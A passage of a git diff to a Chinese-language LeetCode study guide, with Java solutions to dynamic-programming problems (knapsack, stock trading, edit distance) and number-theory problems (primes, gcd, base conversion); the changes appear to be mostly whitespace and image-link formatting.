+    int sum = computeArraySum(nums);
+    if (sum < S || (sum + S) % 2 == 1) {
+        return 0;
+    }
+    int W = (sum + S) / 2;
+    int[] dp = new int[W + 1];
+    dp[0] = 1;
+    for (int num : nums) {
+        for (int i = W; i >= num; i--) {
+            dp[i] = dp[i] + dp[i - num];
+        }
+    }
+    return dp[W];
 }
 
-private int computeArraySum(int[] nums) {
-    int sum = 0;
-    for (int num : nums) {
-        sum += num;
-    }
-    return sum;
+private int computeArraySum(int[] nums) {
+    int sum = 0;
+    for (int num : nums) {
+        sum += num;
+    }
+    return sum;
 }
 ```
 
-DFS 解法：
+DFS 解法：
 
 ```java
-public int findTargetSumWays(int[] nums, int S) {
-    return findTargetSumWays(nums, 0, S);
+public int findTargetSumWays(int[] nums, int S) {
+    return findTargetSumWays(nums, 0, S);
 }
 
-private int findTargetSumWays(int[] nums, int start, int S) {
-    if (start == nums.length) {
-        return S == 0 ? 1 : 0;
-    }
-    return findTargetSumWays(nums, start + 1, S + nums[start])
-            + findTargetSumWays(nums, start + 1, S - nums[start]);
+private int findTargetSumWays(int[] nums, int start, int S) {
+    if (start == nums.length) {
+        return S == 0 ? 1 : 0;
+    }
+    return findTargetSumWays(nums, start + 1, S + nums[start])
+            + findTargetSumWays(nums, start + 1, S - nums[start]);
 }
 ```
 
-**字符串按单词列表分割**
+**字符串按单词列表分割** 
 
-[139. Word Break (Medium)](https://leetcode.com/problems/word-break/description/)
+[139. Word Break (Medium)](https://leetcode.com/problems/word-break/description/)
 
 ```html
-s = "leetcode",
-dict = ["leet", "code"].
-Return true because "leetcode" can be segmented as "leet code".
+s = "leetcode",
+dict = ["leet", "code"].
+Return true because "leetcode" can be segmented as "leet code".
 ```
 
-dict 中的单词没有使用次数的限制，因此这是一个完全背包问题。
+dict 中的单词没有使用次数的限制，因此这是一个完全背包问题。
 
-0-1 背包和完全背包在实现上的不同之处是，0-1 背包对物品的迭代是在最外层，而完全背包对物品的迭代是在最里层。
+0-1 背包和完全背包在实现上的不同之处是，0-1 背包对物品的迭代是在最外层，而完全背包对物品的迭代是在最里层。
 
 ```java
-public boolean wordBreak(String s, List<String> wordDict) {
-    int n = s.length();
-    boolean[] dp = new boolean[n + 1];
-    dp[0] = true;
-    for (int i = 1; i <= n; i++) {
-        for (String word : wordDict) {   // 完全一个物品可以使用多次
-            int len = word.length();
-            if (len <= i && word.equals(s.substring(i - len, i))) {
-                dp[i] = dp[i] || dp[i - len];
-            }
-        }
-    }
-    return dp[n];
+public boolean wordBreak(String s, List<String> wordDict) {
+    int n = s.length();
+    boolean[] dp = new boolean[n + 1];
+    dp[0] = true;
+    for (int i = 1; i <= n; i++) {
+        for (String word : wordDict) {   // 完全一个物品可以使用多次
+            int len = word.length();
+            if (len <= i && word.equals(s.substring(i - len, i))) {
+                dp[i] = dp[i] || dp[i - len];
+            }
+        }
+    }
+    return dp[n];
 }
 ```
 
-**01 字符构成最多的字符串**
+**01 字符构成最多的字符串** 
 
-[474. Ones and Zeroes (Medium)](https://leetcode.com/problems/ones-and-zeroes/description/)
+[474. Ones and Zeroes (Medium)](https://leetcode.com/problems/ones-and-zeroes/description/)
 
 ```html
-Input: Array = {"10", "0001", "111001", "1", "0"}, m = 5, n = 3
-Output: 4
+Input: Array = {"10", "0001", "111001", "1", "0"}, m = 5, n = 3
+Output: 4
 
-Explanation: There are totally 4 strings can be formed by the using of 5 0s and 3 1s, which are "10","0001","1","0"
+Explanation: There are totally 4 strings can be formed by the using of 5 0s and 3 1s, which are "10","0001","1","0"
 ```
 
-这是一个多维费用的 0-1 背包问题，有两个背包大小，0 的数量和 1 的数量。
+这是一个多维费用的 0-1 背包问题，有两个背包大小，0 的数量和 1 的数量。
 
 ```java
-public int findMaxForm(String[] strs, int m, int n) {
-    if (strs == null || strs.length == 0) {
-        return 0;
-    }
-    int[][] dp = new int[m + 1][n + 1];
-    for (String s : strs) {    // 每个字符串只能用一次
-        int ones = 0, zeros = 0;
-        for (char c : s.toCharArray()) {
-            if (c == '0') {
-                zeros++;
-            } else {
-                ones++;
-            }
-        }
-        for (int i = m; i >= zeros; i--) {
-            for (int j = n; j >= ones; j--) {
-                dp[i][j] = Math.max(dp[i][j], dp[i - zeros][j - ones] + 1);
-            }
-        }
-    }
-    return dp[m][n];
+public int findMaxForm(String[] strs, int m, int n) {
+    if (strs == null || strs.length == 0) {
+        return 0;
+    }
+    int[][] dp = new int[m + 1][n + 1];
+    for (String s : strs) {    // 每个字符串只能用一次
+        int ones = 0, zeros = 0;
+        for (char c : s.toCharArray()) {
+            if (c == '0') {
+                zeros++;
+            } else {
+                ones++;
+            }
+        }
+        for (int i = m; i >= zeros; i--) {
+            for (int j = n; j >= ones; j--) {
+                dp[i][j] = Math.max(dp[i][j], dp[i - zeros][j - ones] + 1);
+            }
+        }
+    }
+    return dp[m][n];
 }
 ```
 
-**找零钱的最少硬币数**
+**找零钱的最少硬币数** 
 
-[322. Coin Change (Medium)](https://leetcode.com/problems/coin-change/description/)
+[322. Coin Change (Medium)](https://leetcode.com/problems/coin-change/description/)
 
 ```html
-Example 1:
-coins = [1, 2, 5], amount = 11
-return 3 (11 = 5 + 5 + 1)
+Example 1:
+coins = [1, 2, 5], amount = 11
+return 3 (11 = 5 + 5 + 1)
 
-Example 2:
-coins = [2], amount = 3
-return -1.
+Example 2:
+coins = [2], amount = 3
+return -1.
 ```
 
 题目描述：给一些面额的硬币，要求用这些硬币来组成给定面额的钱数，并且使得硬币数量最少。硬币可以重复使用。
 
-- 物品：硬币
-- 物品大小：面额
-- 物品价值：数量
+- 物品：硬币
+- 物品大小：面额
+- 物品价值：数量
 
 因为硬币可以重复使用，因此这是一个完全背包问题。
 
 ```java
-public int coinChange(int[] coins, int amount) {
-    if (coins == null || coins.length == 0) {
-        return 0;
-    }
-    int[] minimum = new int[amount + 1];
-    Arrays.fill(minimum, amount + 1);
-    minimum[0] = 0;
-    Arrays.sort(coins);
-    for (int i = 1; i <= amount; i++) {
-        for (int j = 0; j < coins.length && coins[j] <= i; j++) {
-            minimum[i] = Math.min(minimum[i], minimum[i - coins[j]] + 1);
-        }
-    }
-    return minimum[amount] > amount ? -1 : minimum[amount];
+public int coinChange(int[] coins, int amount) {
+    if (coins == null || coins.length == 0) {
+        return 0;
+    }
+    int[] minimum = new int[amount + 1];
+    Arrays.fill(minimum, amount + 1);
+    minimum[0] = 0;
+    Arrays.sort(coins);
+    for (int i = 1; i <= amount; i++) {
+        for (int j = 0; j < coins.length && coins[j] <= i; j++) {
+            minimum[i] = Math.min(minimum[i], minimum[i - coins[j]] + 1);
+        }
+    }
+    return minimum[amount] > amount ? -1 : minimum[amount];
 }
 ```
 
-**组合总和**
+**组合总和** 
 
-[377. Combination Sum IV (Medium)](https://leetcode.com/problems/combination-sum-iv/description/)
+[377. Combination Sum IV (Medium)](https://leetcode.com/problems/combination-sum-iv/description/)
 
 ```html
-nums = [1, 2, 3]
-target = 4
+nums = [1, 2, 3]
+target = 4
 
-The possible combination ways are:
-(1, 1, 1, 1)
-(1, 1, 2)
-(1, 2, 1)
-(1, 3)
-(2, 1, 1)
-(2, 2)
-(3, 1)
+The possible combination ways are:
+(1, 1, 1, 1)
+(1, 1, 2)
+(1, 2, 1)
+(1, 3)
+(2, 1, 1)
+(2, 2)
+(3, 1)
 
-Note that different sequences are counted as different combinations.
+Note that different sequences are counted as different combinations.
 
-Therefore the output is 7.
+Therefore the output is 7.
 ```
 
 完全背包。
 
 ```java
-public int combinationSum4(int[] nums, int target) {
-    if (nums == null || nums.length == 0) {
-        return 0;
-    }
-    int[] maximum = new int[target + 1];
-    maximum[0] = 1;
-    Arrays.sort(nums);
-    for (int i = 1; i <= target; i++) {
-        for (int j = 0; j < nums.length && nums[j] <= i; j++) {
-            maximum[i] += maximum[i - nums[j]];
-        }
-    }
-    return maximum[target];
+public int combinationSum4(int[] nums, int target) {
+    if (nums == null || nums.length == 0) {
+        return 0;
+    }
+    int[] maximum = new int[target + 1];
+    maximum[0] = 1;
+    Arrays.sort(nums);
+    for (int i = 1; i <= target; i++) {
+        for (int j = 0; j < nums.length && nums[j] <= i; j++) {
+            maximum[i] += maximum[i - nums[j]];
+        }
+    }
+    return maximum[target];
 }
 ```
 
-### 股票交易
+### 股票交易
 
-**需要冷却期的股票交易**
+**需要冷却期的股票交易** 
 
-[309. Best Time to Buy and Sell Stock with Cooldown(Medium)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-with-cooldown/description/)
+[309. Best Time to Buy and Sell Stock with Cooldown(Medium)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-with-cooldown/description/)
 
 题目描述：交易之后需要有一天的冷却时间。
 
-![](index_files/a3da4342-078b-43e2-b748-7e71bec50dc4.png)
+<div align="center"> <img src="pics/a3da4342-078b-43e2-b748-7e71bec50dc4.png"/> </div><br>
 
 ```java
-public int maxProfit(int[] prices) {
-    if (prices == null || prices.length == 0) {
-        return 0;
-    }
-    int N = prices.length;
-    int[] buy = new int[N];
-    int[] s1 = new int[N];
-    int[] sell = new int[N];
-    int[] s2 = new int[N];
-    s1[0] = buy[0] = -prices[0];
-    sell[0] = s2[0] = 0;
-    for (int i = 1; i < N; i++) {
-        buy[i] = s2[i - 1] - prices[i];
-        s1[i] = Math.max(buy[i - 1], s1[i - 1]);
-        sell[i] = Math.max(buy[i - 1], s1[i - 1]) + prices[i];
-        s2[i] = Math.max(s2[i - 1], sell[i - 1]);
-    }
-    return Math.max(sell[N - 1], s2[N - 1]);
+public int maxProfit(int[] prices) {
+    if (prices == null || prices.length == 0) {
+        return 0;
+    }
+    int N = prices.length;
+    int[] buy = new int[N];
+    int[] s1 = new int[N];
+    int[] sell = new int[N];
+    int[] s2 = new int[N];
+    s1[0] = buy[0] = -prices[0];
+    sell[0] = s2[0] = 0;
+    for (int i = 1; i < N; i++) {
+        buy[i] = s2[i - 1] - prices[i];
+        s1[i] = Math.max(buy[i - 1], s1[i - 1]);
+        sell[i] = Math.max(buy[i - 1], s1[i - 1]) + prices[i];
+        s2[i] = Math.max(s2[i - 1], sell[i - 1]);
+    }
+    return Math.max(sell[N - 1], s2[N - 1]);
 }
 ```
 
-**需要交易费用的股票交易**
+**需要交易费用的股票交易** 
 
-[714. Best Time to Buy and Sell Stock with Transaction Fee (Medium)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-with-transaction-fee/description/)
+[714. Best Time to Buy and Sell Stock with Transaction Fee (Medium)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-with-transaction-fee/description/)
 
 ```html
-Input: prices = [1, 3, 2, 8, 4, 9], fee = 2
-Output: 8
-Explanation: The maximum profit can be achieved by:
-Buying at prices[0] = 1
-Selling at prices[3] = 8
-Buying at prices[4] = 4
-Selling at prices[5] = 9
-The total profit is ((8 - 1) - 2) + ((9 - 4) - 2) = 8.
+Input: prices = [1, 3, 2, 8, 4, 9], fee = 2
+Output: 8
+Explanation: The maximum profit can be achieved by:
+Buying at prices[0] = 1
+Selling at prices[3] = 8
+Buying at prices[4] = 4
+Selling at prices[5] = 9
+The total profit is ((8 - 1) - 2) + ((9 - 4) - 2) = 8.
 ```
 
 题目描述：每交易一次，都要支付一定的费用。
 
-![](index_files/61942711-45a0-4e11-bbc9-434e31436f33.png)
+<div align="center"> <img src="pics/61942711-45a0-4e11-bbc9-434e31436f33.png"/> </div><br>
 
 ```java
-public int maxProfit(int[] prices, int fee) {
-    int N = prices.length;
-    int[] buy = new int[N];
-    int[] s1 = new int[N];
-    int[] sell = new int[N];
-    int[] s2 = new int[N];
-    s1[0] = buy[0] = -prices[0];
-    sell[0] = s2[0] = 0;
-    for (int i = 1; i < N; i++) {
-        buy[i] = Math.max(sell[i - 1], s2[i - 1]) - prices[i];
-        s1[i] = Math.max(buy[i - 1], s1[i - 1]);
-        sell[i] = Math.max(buy[i - 1], s1[i - 1]) - fee + prices[i];
-        s2[i] = Math.max(s2[i - 1], sell[i - 1]);
-    }
-    return Math.max(sell[N - 1], s2[N - 1]);
+public int maxProfit(int[] prices, int fee) {
+    int N = prices.length;
+    int[] buy = new int[N];
+    int[] s1 = new int[N];
+    int[] sell = new int[N];
+    int[] s2 = new int[N];
+    s1[0] = buy[0] = -prices[0];
+    sell[0] = s2[0] = 0;
+    for (int i = 1; i < N; i++) {
+        buy[i] = Math.max(sell[i - 1], s2[i - 1]) - prices[i];
+        s1[i] = Math.max(buy[i - 1], s1[i - 1]);
+        sell[i] = Math.max(buy[i - 1], s1[i - 1]) - fee + prices[i];
+        s2[i] = Math.max(s2[i - 1], sell[i - 1]);
+    }
+    return Math.max(sell[N - 1], s2[N - 1]);
 }
 ```
 
 
-**只能进行两次的股票交易**
+**只能进行两次的股票交易** 
 
-[123. Best Time to Buy and Sell Stock III (Hard)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-iii/description/)
+[123. Best Time to Buy and Sell Stock III (Hard)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-iii/description/)
 
 ```java
-public int maxProfit(int[] prices) {
-    int firstBuy = Integer.MIN_VALUE, firstSell = 0;
-    int secondBuy = Integer.MIN_VALUE, secondSell = 0;
-    for (int curPrice : prices) {
-        if (firstBuy < -curPrice) {
-            firstBuy = -curPrice;
-        }
-        if (firstSell < firstBuy + curPrice) {
-            firstSell = firstBuy + curPrice;
-        }
-        if (secondBuy < firstSell - curPrice) {
-            secondBuy = firstSell - curPrice;
-        }
-        if (secondSell < secondBuy + curPrice) {
-            secondSell = secondBuy + curPrice;
-        }
-    }
-    return secondSell;
+public int maxProfit(int[] prices) {
+    int firstBuy = Integer.MIN_VALUE, firstSell = 0;
+    int secondBuy = Integer.MIN_VALUE, secondSell = 0;
+    for (int curPrice : prices) {
+        if (firstBuy < -curPrice) {
+            firstBuy = -curPrice;
+        }
+        if (firstSell < firstBuy + curPrice) {
+            firstSell = firstBuy + curPrice;
+        }
+        if (secondBuy < firstSell - curPrice) {
+            secondBuy = firstSell - curPrice;
+        }
+        if (secondSell < secondBuy + curPrice) {
+            secondSell = secondBuy + curPrice;
+        }
+    }
+    return secondSell;
 }
 ```
 
-**只能进行 k 次的股票交易**
+**只能进行 k 次的股票交易** 
 
-[188. Best Time to Buy and Sell Stock IV (Hard)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-iv/description/)
+[188. Best Time to Buy and Sell Stock IV (Hard)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-iv/description/)
 
 ```java
-public int maxProfit(int k, int[] prices) {
-    int n = prices.length;
-    if (k >= n / 2) {   // 这种情况下该问题退化为普通的股票交易问题
-        int maxProfit = 0;
-        for (int i = 1; i < n; i++) {
-            if (prices[i] > prices[i - 1]) {
-                maxProfit += prices[i] - prices[i - 1];
-            }
-        }
-        return maxProfit;
-    }
-    int[][] maxProfit = new int[k + 1][n];
-    for (int i = 1; i <= k; i++) {
-        int localMax = maxProfit[i - 1][0] - prices[0];
-        for (int j = 1; j < n; j++) {
-            maxProfit[i][j] = Math.max(maxProfit[i][j - 1], prices[j] + localMax);
-            localMax = Math.max(localMax, maxProfit[i - 1][j] - prices[j]);
-        }
-    }
-    return maxProfit[k][n - 1];
+public int maxProfit(int k, int[] prices) {
+    int n = prices.length;
+    if (k >= n / 2) {   // 这种情况下该问题退化为普通的股票交易问题
+        int maxProfit = 0;
+        for (int i = 1; i < n; i++) {
+            if (prices[i] > prices[i - 1]) {
+                maxProfit += prices[i] - prices[i - 1];
+            }
+        }
+        return maxProfit;
+    }
+    int[][] maxProfit = new int[k + 1][n];
+    for (int i = 1; i <= k; i++) {
+        int localMax = maxProfit[i - 1][0] - prices[0];
+        for (int j = 1; j < n; j++) {
+            maxProfit[i][j] = Math.max(maxProfit[i][j - 1], prices[j] + localMax);
+            localMax = Math.max(localMax, maxProfit[i - 1][j] - prices[j]);
+        }
+    }
+    return maxProfit[k][n - 1];
 }
 ```
 
-### 字符串编辑
+### 字符串编辑
 
-**删除两个字符串的字符使它们相等**
+**删除两个字符串的字符使它们相等** 
 
-[583. Delete Operation for Two Strings (Medium)](https://leetcode.com/problems/delete-operation-for-two-strings/description/)
+[583. Delete Operation for Two Strings (Medium)](https://leetcode.com/problems/delete-operation-for-two-strings/description/)
 
 ```html
-Input: "sea", "eat"
-Output: 2
-Explanation: You need one step to make "sea" to "ea" and another step to make "eat" to "ea".
+Input: "sea", "eat"
+Output: 2
+Explanation: You need one step to make "sea" to "ea" and another step to make "eat" to "ea".
 ```
 
 可以转换为求两个字符串的最长公共子序列问题。
 
 ```java
-public int minDistance(String word1, String word2) {
-    int m = word1.length(), n = word2.length();
-    int[][] dp = new int[m + 1][n + 1];
-    for (int i = 1; i <= m; i++) {
-        for (int j = 1; j <= n; j++) {
-            if (word1.charAt(i - 1) == word2.charAt(j - 1)) {
-                dp[i][j] = dp[i - 1][j - 1] + 1;
-            } else {
-                dp[i][j] = Math.max(dp[i][j - 1], dp[i - 1][j]);
-            }
-        }
-    }
-    return m + n - 2 * dp[m][n];
+public int minDistance(String word1, String word2) {
+    int m = word1.length(), n = word2.length();
+    int[][] dp = new int[m + 1][n + 1];
+    for (int i = 1; i <= m; i++) {
+        for (int j = 1; j <= n; j++) {
+            if (word1.charAt(i - 1) == word2.charAt(j - 1)) {
+                dp[i][j] = dp[i - 1][j - 1] + 1;
+            } else {
+                dp[i][j] = Math.max(dp[i][j - 1], dp[i - 1][j]);
+            }
+        }
+    }
+    return m + n - 2 * dp[m][n];
 }
 ```
 
-**编辑距离**
+**编辑距离** 
 
-[72. Edit Distance (Hard)](https://leetcode.com/problems/edit-distance/description/)
+[72. Edit Distance (Hard)](https://leetcode.com/problems/edit-distance/description/)
 
 ```html
-Example 1:
+Example 1:
 
-Input: word1 = "horse", word2 = "ros"
-Output: 3
+Input: word1 = "horse", word2 = "ros"
+Output: 3
 Explanation:
-horse -> rorse (replace 'h' with 'r')
-rorse -> rose (remove 'r')
-rose -> ros (remove 'e')
-Example 2:
+horse -> rorse (replace 'h' with 'r')
+rorse -> rose (remove 'r')
+rose -> ros (remove 'e')
+Example 2:
 
-Input: word1 = "intention", word2 = "execution"
-Output: 5
+Input: word1 = "intention", word2 = "execution"
+Output: 5
 Explanation:
-intention -> inention (remove 't')
-inention -> enention (replace 'i' with 'e')
-enention -> exention (replace 'n' with 'x')
-exention -> exection (replace 'n' with 'c')
-exection -> execution (insert 'u')
+intention -> inention (remove 't')
+inention -> enention (replace 'i' with 'e')
+enention -> exention (replace 'n' with 'x')
+exention -> exection (replace 'n' with 'c')
+exection -> execution (insert 'u')
 ```
 
 题目描述：修改一个字符串成为另一个字符串，使得修改次数最少。一次修改操作包括：插入一个字符、删除一个字符、替换一个字符。
 
 ```java
-public int minDistance(String word1, String word2) {
-    if (word1 == null || word2 == null) {
-        return 0;
-    }
-    int m = word1.length(), n = word2.length();
-    int[][] dp = new int[m + 1][n + 1];
-    for (int i = 1; i <= m; i++) {
-        dp[i][0] = i;
-    }
-    for (int i = 1; i <= n; i++) {
-        dp[0][i] = i;
-    }
-    for (int i = 1; i <= m; i++) {
-        for (int j = 1; j <= n; j++) {
-            if (word1.charAt(i - 1) == word2.charAt(j - 1)) {
-                dp[i][j] = dp[i - 1][j - 1];
-            } else {
-                dp[i][j] = Math.min(dp[i - 1][j - 1], Math.min(dp[i][j - 1], dp[i - 1][j])) + 1;
-            }
-        }
-    }
-    return dp[m][n];
+public int minDistance(String word1, String word2) {
+    if (word1 == null || word2 == null) {
+        return 0;
+    }
+    int m = word1.length(), n = word2.length();
+    int[][] dp = new int[m + 1][n + 1];
+    for (int i = 1; i <= m; i++) {
+        dp[i][0] = i;
+    }
+    for (int i = 1; i <= n; i++) {
+        dp[0][i] = i;
+    }
+    for (int i = 1; i <= m; i++) {
+        for (int j = 1; j <= n; j++) {
+            if (word1.charAt(i - 1) == word2.charAt(j - 1)) {
+                dp[i][j] = dp[i - 1][j - 1];
+            } else {
+                dp[i][j] = Math.min(dp[i - 1][j - 1], Math.min(dp[i][j - 1], dp[i - 1][j])) + 1;
+            }
+        }
+    }
+    return dp[m][n];
 }
 ```
 
-**复制粘贴字符**
+**复制粘贴字符** 
 
-[650. 2 Keys Keyboard (Medium)](https://leetcode.com/problems/2-keys-keyboard/description/)
+[650. 2 Keys Keyboard (Medium)](https://leetcode.com/problems/2-keys-keyboard/description/)
 
-题目描述：最开始只有一个字符 A，问需要多少次操作能够得到 n 个字符 A，每次操作可以复制当前所有的字符，或者粘贴。
+题目描述：最开始只有一个字符 A，问需要多少次操作能够得到 n 个字符 A，每次操作可以复制当前所有的字符，或者粘贴。
 
 ```
-Input: 3
-Output: 3
+Input: 3
+Output: 3
 Explanation:
-Intitally, we have one character 'A'.
-In step 1, we use Copy All operation.
-In step 2, we use Paste operation to get 'AA'.
-In step 3, we use Paste operation to get 'AAA'.
+Intitally, we have one character 'A'.
+In step 1, we use Copy All operation.
+In step 2, we use Paste operation to get 'AA'.
+In step 3, we use Paste operation to get 'AAA'.
 ```
 
 ```java
-public int minSteps(int n) {
-    if (n == 1) return 0;
-    for (int i = 2; i <= Math.sqrt(n); i++) {
-        if (n % i == 0) return i + minSteps(n / i);
-    }
-    return n;
+public int minSteps(int n) {
+    if (n == 1) return 0;
+    for (int i = 2; i <= Math.sqrt(n); i++) {
+        if (n % i == 0) return i + minSteps(n / i);
+    }
+    return n;
 }
 ```
 
 ```java
-public int minSteps(int n) {
-    int[] dp = new int[n + 1];
-    int h = (int) Math.sqrt(n);
-    for (int i = 2; i <= n; i++) {
-        dp[i] = i;
-        for (int j = 2; j <= h; j++) {
-            if (i % j == 0) {
-                dp[i] = dp[j] + dp[i / j];
-                break;
-            }
-        }
-    }
-    return dp[n];
+public int minSteps(int n) {
+    int[] dp = new int[n + 1];
+    int h = (int) Math.sqrt(n);
+    for (int i = 2; i <= n; i++) {
+        dp[i] = i;
+        for (int j = 2; j <= h; j++) {
+            if (i % j == 0) {
+                dp[i] = dp[j] + dp[i / j];
+                break;
+            }
+        }
+    }
+    return dp[n];
 }
 ```
 
-## 数学
+## 数学
 
-### 素数
+### 素数
 
-**素数分解**
+**素数分解** 
 
-每一个数都可以分解成素数的乘积，例如 84 = 2<sup>2</sup> \* 3<sup>1</sup> \* 5<sup>0</sup> \* 7<sup>1</sup> \* 11<sup>0</sup> \* 13<sup>0</sup> \* 17<sup>0</sup> \* …
+每一个数都可以分解成素数的乘积，例如 84 = 2<sup>2</sup> \* 3<sup>1</sup> \* 5<sup>0</sup> \* 7<sup>1</sup> \* 11<sup>0</sup> \* 13<sup>0</sup> \* 17<sup>0</sup> \* …
 
-**整除**
+**整除** 
 
-令 x = 2<sup>m0</sup> \* 3<sup>m1</sup> \* 5<sup>m2</sup> \* 7<sup>m3</sup> \* 11<sup>m4</sup> \* …
+令 x = 2<sup>m0</sup> \* 3<sup>m1</sup> \* 5<sup>m2</sup> \* 7<sup>m3</sup> \* 11<sup>m4</sup> \* …
 
-令 y = 2<sup>n0</sup> \* 3<sup>n1</sup> \* 5<sup>n2</sup> \* 7<sup>n3</sup> \* 11<sup>n4</sup> \* …
+令 y = 2<sup>n0</sup> \* 3<sup>n1</sup> \* 5<sup>n2</sup> \* 7<sup>n3</sup> \* 11<sup>n4</sup> \* …
 
-如果 x 整除 y（y mod x == 0），则对于所有 i，mi <= ni。
+如果 x 整除 y（y mod x == 0），则对于所有 i，mi <= ni。
 
-**最大公约数最小公倍数**
+**最大公约数最小公倍数** 
 
-x 和 y 的最大公约数为：gcd(x,y) =  2<sup>min(m0,n0)</sup> \* 3<sup>min(m1,n1)</sup> \* 5<sup>min(m2,n2)</sup> \* ...
+x 和 y 的最大公约数为：gcd(x,y) =  2<sup>min(m0,n0)</sup> \* 3<sup>min(m1,n1)</sup> \* 5<sup>min(m2,n2)</sup> \* ...
 
-x 和 y 的最小公倍数为：lcm(x,y) =  2<sup>max(m0,n0)</sup> \* 3<sup>max(m1,n1)</sup> \* 5<sup>max(m2,n2)</sup> \* ...
+x 和 y 的最小公倍数为：lcm(x,y) =  2<sup>max(m0,n0)</sup> \* 3<sup>max(m1,n1)</sup> \* 5<sup>max(m2,n2)</sup> \* ...
 
-**生成素数序列**
+**生成素数序列** 
 
-[204. Count Primes (Easy)](https://leetcode.com/problems/count-primes/description/)
+[204. Count Primes (Easy)](https://leetcode.com/problems/count-primes/description/)
 
 埃拉托斯特尼筛法在每次找到一个素数时，将能被素数整除的数排除掉。
 
 ```java
-public int countPrimes(int n) {
-    boolean[] notPrimes = new boolean[n + 1];
-    int count = 0;
-    for (int i = 2; i < n; i++) {
-        if (notPrimes[i]) {
-            continue;
-        }
-        count++;
-        // 从 i * i 开始，因为如果 k < i，那么 k * i 在之前就已经被去除过了
-        for (long j = (long) (i) * i; j < n; j += i) {
-            notPrimes[(int) j] = true;
-        }
-    }
-    return count;
+public int countPrimes(int n) {
+    boolean[] notPrimes = new boolean[n + 1];
+    int count = 0;
+    for (int i = 2; i < n; i++) {
+        if (notPrimes[i]) {
+            continue;
+        }
+        count++;
+        // 从 i * i 开始，因为如果 k < i，那么 k * i 在之前就已经被去除过了
+        for (long j = (long) (i) * i; j < n; j += i) {
+            notPrimes[(int) j] = true;
+        }
+    }
+    return count;
 }
 ```
 
-### 最大公约数
+### 最大公约数
 
 ```java
-int gcd(int a, int b) {
-    return b == 0 ? a : gcd(b, a % b);
+int gcd(int a, int b) {
+    return b == 0 ? a : gcd(b, a % b);
 }
 ```
 
 最小公倍数为两数的乘积除以最大公约数。
 
 ```java
-int lcm(int a, int b) {
-    return a * b / gcd(a, b);
+int lcm(int a, int b) {
+    return a * b / gcd(a, b);
 }
 ```
 
-**使用位操作和减法求解最大公约数**
+**使用位操作和减法求解最大公约数** 
 
 [编程之美：2.7](#)
 
-对于 a 和 b 的最大公约数 f(a, b)，有：
+对于 a 和 b 的最大公约数 f(a, b)，有：
 
-- 如果 a 和 b 均为偶数，f(a, b) = 2\*f(a/2, b/2);
-- 如果 a 是偶数 b 是奇数，f(a, b) = f(a/2, b);
-- 如果 b 是偶数 a 是奇数，f(a, b) = f(a, b/2);
-- 如果 a 和 b 均为奇数，f(a, b) = f(b, a-b);
+- 如果 a 和 b 均为偶数，f(a, b) = 2\*f(a/2, b/2);
+- 如果 a 是偶数 b 是奇数，f(a, b) = f(a/2, b);
+- 如果 b 是偶数 a 是奇数，f(a, b) = f(a, b/2);
+- 如果 a 和 b 均为奇数，f(a, b) = f(b, a-b);
 
-乘 2 和除 2 都可以转换为移位操作。
+乘 2 和除 2 都可以转换为移位操作。
 
 ```java
-public int gcd(int a, int b) {
-    if (a < b) {
-        return gcd(b, a);
-    }
-    if (b == 0) {
-        return a;
-    }
-    boolean isAEven = isEven(a), isBEven = isEven(b);
-    if (isAEven && isBEven) {
-        return 2 * gcd(a >> 1, b >> 1);
-    } else if (isAEven && !isBEven) {
-        return gcd(a >> 1, b);
-    } else if (!isAEven && isBEven) {
-        return gcd(a, b >> 1);
-    } else {
-        return gcd(b, a - b);
-    }
+public int gcd(int a, int b) {
+    if (a < b) {
+        return gcd(b, a);
+    }
+    if (b == 0) {
+        return a;
+    }
+    boolean isAEven = isEven(a), isBEven = isEven(b);
+    if (isAEven && isBEven) {
+        return 2 * gcd(a >> 1, b >> 1);
+    } else if (isAEven && !isBEven) {
+        return gcd(a >> 1, b);
+    } else if (!isAEven && isBEven) {
+        return gcd(a, b >> 1);
+    } else {
+        return gcd(b, a - b);
+    }
 }
 ```
 
-### 进制转换
+### 进制转换
 
-**7 进制**
+**7 进制** 
 
-[504. Base 7 (Easy)](https://leetcode.com/problems/base-7/description/)
+[504. Base 7 (Easy)](https://leetcode.com/problems/base-7/description/)
 
 ```java
-public String convertToBase7(int num) {
-    if (num == 0) {
-        return "0";
-    }
-    StringBuilder sb = new StringBuilder();
-    boolean isNegative = num < 0;
-    if (isNegative) {
-        num = -num;
-    }
-    while (num > 0) {
-        sb.append(num % 7);
-        num /= 7;
-    }
-    String ret = sb.reverse().toString();
-    return isNegative ? "-" + ret : ret;
+public String convertToBase7(int num) {
+    if (num == 0) {
+        return "0";
+    }
+    StringBuilder sb = new StringBuilder();
+    boolean isNegative = num < 0;
+    if (isNegative) {
+        num = -num;
+    }
+    while (num > 0) {
+        sb.append(num % 7);
+        num /= 7;
+    }
+    String ret = sb.reverse().toString();
+    return isNegative ? "-" + ret : ret;
 }
 ```
 
-Java 中 static String toString(int num, int radix) 可以将一个整数转换为 radix 进制表示的字符串。
+Java 中 static String toString(int num, int radix) 可以将一个整数转换为 radix 进制表示的字符串。
 
 ```java
-public String convertToBase7(int num) {
-    return Integer.toString(num, 7);
+public String convertToBase7(int num) {
+    return Integer.toString(num, 7);
 }
 ```
 
-**16 进制**
+**16 进制** 
 
-[405. Convert a Number to Hexadecimal (Easy)](https://leetcode.com/problems/convert-a-number-to-hexadecimal/description/)
+[405. Convert a Number to Hexadecimal (Easy)](https://leetcode.com/problems/convert-a-number-to-hexadecimal/description/)
 
 ```html
 Input:
@@ -3636,117 +3692,117 @@ Output:
 负数要用它的补码形式。
 
 ```java
-public String toHex(int num) {
-    char[] map = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};
-    if (num == 0) return "0";
-    StringBuilder sb = new StringBuilder();
-    while (num != 0) {
-        sb.append(map[num & 0b1111]);
-        num >>>= 4; // 因为考虑的是补码形式，因此符号位就不能有特殊的意义，需要使用无符号右移，左边填 0
-    }
-    return sb.reverse().toString();
+public String toHex(int num) {
+    char[] map = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};
+    if (num == 0) return "0";
+    StringBuilder sb = new StringBuilder();
+    while (num != 0) {
